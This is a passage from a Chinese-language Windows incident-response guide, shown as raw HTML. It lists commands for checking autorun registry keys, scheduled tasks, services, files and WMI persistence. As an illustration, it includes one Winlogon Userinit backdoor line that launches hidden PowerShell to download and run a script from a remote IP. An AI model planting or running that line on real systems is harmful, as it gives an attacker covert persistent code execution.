!important;">HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunonce<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">注册表镜像劫持</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage</span> File Execution Options<br/></code></pre><blockquote style="line-height: inherit;display: block;padding: 15px 15px 15px 1rem;font-size: 0.9em;margin: 1em 0px;color: rgb(129, 145, 152);border-left: 6px solid rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 0px;">参考：<a href="http://cn-sec.com/archives/1000962.html" target="_blank">http://cn-sec.com/archives/1000962.html</a></p></blockquote><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.6 定时任务</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">at</code>命令</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">schtasks</code>命令</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>schtasks | more<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>schtasks /query /fo <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">LIST</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>schtasks /query /v /tn <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\Microsoft\windows\Bluetooths&#34;</span> /fo <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">list</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">计划任务清单：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">C:\Windows\System32\Tasks</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.7 服务</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">命令：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">services</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.msc</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">恶意服务检测</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>Get-WmiObject win32_service |?{ $_.name -eq <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;svchost.exe&#39;</span> -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">and</span> $_.PathName -notlike  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;*C:\WINDOWS\System32\svchost.exe*&#39;</span> -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">and</span> $_.PathName -notlike <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;*c:\Windows\SysWOW64\svchost.exe*&#39;</span>} | <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">select</span> Name, DisplayName, State, PathName<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>Get-WmiObject win32_service | ?{$_.PathName -like <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;*svchost.exe*&#39;</span>} | <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">select</span> Name, DisplayName, @{Name=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Path&#34;</span>; Expression={$_.PathName.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">split</span>(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>&#39;</span>)[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}} | Format-List<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看服务详情</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>wmic service <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span> name,pathname,processid,startname,status,state /<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.8 文件</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">最近打开的文件<br/><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">%UserProfile%Recent</code></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过hash操作文件：</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（1）获取文件MD5的hash</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">certutil</span> -hashfile c:\windows\system32\cmd.exe MD5 |findstr /r <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;^[a-fA-F0-9]*$&#34;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（2）查找相同hash值文件</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>[array]$md5=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Get</span>-FileHash .\*.exe -Algorithm md5<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>$md5 | <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Where</span> -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Property</span> Hash -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">in</span> -Value <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;59B18D6146A2AA066F661599C496090D&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;6FF97A7DABF09EBB07C157F286DC81AD&#34;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">（3）删除相同hash值文件</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>[array]$md5=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Get</span>-FileHash .\*.exe -Algorithm md5<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>$md5 | <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Where</span> -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Property</span> Hash -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">in</span> -Value <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;59B18D6146A2AA066F661599C496090D&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;6FF97A7DABF09EBB07C157F286DC81AD&#34;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>| Remove-Item<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查找某一日期创建的文件</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">forfiles</span> /m <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">*.exe</span> /d +<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2019</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span> /s /p c:\  /c <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;cmd /c echo <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">@path</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">@fdate</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">@ftime</span>&#34;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>&gt;nul<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看粘滞键exe  ：<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sethc.exe</code>文件的创建、修改时间是否正常</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看隐藏文件</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>attrib -s -a -h -r {文件名}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看放大镜exe ：<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Magnify.exe</code>文件的创建、修改时间是否正常</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.9 其他</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">wmi无文件后门检测</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Get</span>-WmiObject -Namespace root\<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">default</span> -list | Where-Object {$_.name -Match <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;^[a-z]&#34;</span>}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Get</span>-WmiObject -Namespace root\subscription -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> commandlineeventconsumer<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Get</span>-WmiObject -Namespace root\subscription -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> __eventfilter<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Get</span>-WmiObject -Namespace root\subscription -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> __FilterToConsumerBinding<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">无文件后门实现</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>1、<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Set</span>-ItemProperty   <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon&#34;</span> -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">name</span>   Userinit -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;C:Windowssystem32userinit.exe,***************&#34;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>、<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Set</span>-ItemProperty   <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon&#34;</span> -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">name</span>   Userinit -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;C:Windowssystem32userinit.exe, powershell.exe -nop   -w hidden -c &#34;</span>IEX ((<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span>-<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">object</span> net.webclient).downloadstring(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;<a href="http://192.168.1.131/a" target="_blank">http://192.168.1.131/a</a>&#39;</span>))<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">SDDL隐藏维持</p><blockquote style="line-height: inherit;display: block;padding: 15px 15px 15px 1rem;font-size: 0.9em;margin: 1em 0px;color: rgb(129, 145, 152);border-left: 6px solid rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 0px;">参考：<a href="http://cn-sec.com/archives/1000962.html" target="_blank">http://cn-sec.com/archives/1000962.html</a></p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">补丁查看：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>wmic qfe <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span> hotfixid<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 